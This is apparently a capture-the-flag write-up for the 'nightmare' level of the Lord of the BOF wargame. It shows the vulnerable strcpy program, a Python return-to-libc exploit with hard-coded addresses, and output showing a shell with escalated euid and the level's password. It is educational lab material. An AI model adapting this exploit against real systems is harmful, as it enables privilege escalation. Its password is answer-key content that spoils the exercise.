/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
import os
import commands
from struct import *
p = lambda x:pack("<L",x)
strcpy=p(0x08048410)
system=p(0x40058ae0)
binsh=p(0x400fbff9)
exit=p(0x400391e0)
ret=p(0xbffffc37)
dummy_addr=p(0xbffffaa0)
system_addr=p(0xbffffa70)
target="./nightmare "
nop="\x90"
dummy=nop
payload=target + system + exit + binsh + nop*32 + strcpy + dummy*4
+ dummy_addr + system_addr
os.system(payload)
[succubus@localhost succubus]$ python payload.py
ɀσ@. ÿ¿
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(n
ightmare) groups=517(succubus)bash$ my-pass
euid = 518
beg for me